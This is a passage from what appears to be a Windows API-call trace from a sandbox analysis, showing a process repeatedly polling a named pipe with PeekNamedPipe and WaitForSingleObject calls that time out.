lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.904] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.935] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0115.966] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0115.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.000] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.000] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.029] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.060] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.060] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.091] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.122] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.122] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.153] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.185] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.216] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.247] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.278] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.278] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.310] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.310] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.341] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.341] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.372] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.403] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.403] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.435] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.465] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.465] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.497] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.497] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.549] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.575] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.606] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.606] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.689] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.689] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.717] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.746] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.746] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.784] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.809] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.809] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.840] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.840] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.871] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.871] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.902] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.902] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.933] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.933] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.964] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.965] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0116.996] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0116.996] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.027] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.027] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.058] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.058] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.089] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.089] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.121] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.121] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.152] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.152] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.183] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.183] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.214] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.245] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.293] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.293] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.323] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.323] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.354] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.355] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.386] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.386] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.418] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.456] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.456] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.589] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.589] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.620] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.620] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.651] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.651] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.700] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.701] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.877] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.878] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.901] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.901] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.949] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.949] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0117.983] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0117.983] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.570] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.738] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.812] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.863] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.898] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.898] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.196] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.196] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.742] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.742] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.774] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.778] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.819] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.851] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.851] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.882] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.882] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.913] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.913] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.944] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | 